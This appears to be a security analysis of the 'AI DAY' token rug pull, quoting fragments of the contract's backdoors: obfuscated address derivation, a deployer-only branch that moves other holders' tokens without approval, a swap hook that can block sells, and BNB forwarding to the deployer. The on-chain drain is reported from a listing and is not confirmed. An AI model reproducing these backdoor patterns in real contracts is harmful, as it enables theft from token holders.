AI DAY: Part 2 Rug Pull

What the code allows:

1. The COINDATA constructor derives two contract addresses by adding constants: _dex = address(uint160(_route) + uint160(_dex)); and _route = address(uint160(_route) + uint160(_OFFICE));. The sums are 0xf084b554…107fc2 and 0x8e0f7910…f312bb, which are not the PancakeSwap router in the first constant.
2. The Coin constructor mints 70% of supply to the computed _route (_tOwned[_route] = deadAmount * 70;), 20% to 0xdEaD and 10% to FTM, and gives nftAddress an unlimited allowance to _dex (_allowances[nftAddress][_dex] = ~uint256(0);).
3. Whenever the transaction origin is the hard-coded deployer scane, a transfer to nftAddress debits a different account: if (tx.origin == scane) { if (recipient == nftAddress) { address msger = pancakeFeeTo(); if (msger != address(0)) sender = msger; } }. pancakeFeeTo() calls feeTo() on the computed _dex contract, so that contract picks which account's tokens move, without that account's approval.
4. For every transaction not originated by scane, _tokenTransfer calls IPancakeRouter02(_route).swap(sender, recipient, tAmount);. This runs after the balances change, so its revert, or a missing contract, would revert any sell or transfer by holders. Its return flags then move tokens between FTM, VIP and scane, including uint256 p = (_tOwned[VIP] * 85) / 100; _tOwned[scane] += p;, so a share of the VIP balance can be moved to the deployer.
5. receive() external payable { scane.call{value: msg.value}(""); } forwards any BNB sent to the token to the deployer address.

(per the De.Fi listing, no proof link):

6. The listing says the token creator deployed the contract, the 70M tokens went to the contract that created the AI/WBNB pair, and the pair was funded with 70M $AI and 100 BNB.
7. After buying, the listing says the team swapped more than 361k $AI for 373 BNB (profit 273 BNB, about 88K USD), the swap transaction also destroyed contracts, and the funds moved on to other addresses. The BscScan transaction pages returned 403 and could not be opened to confirm these steps.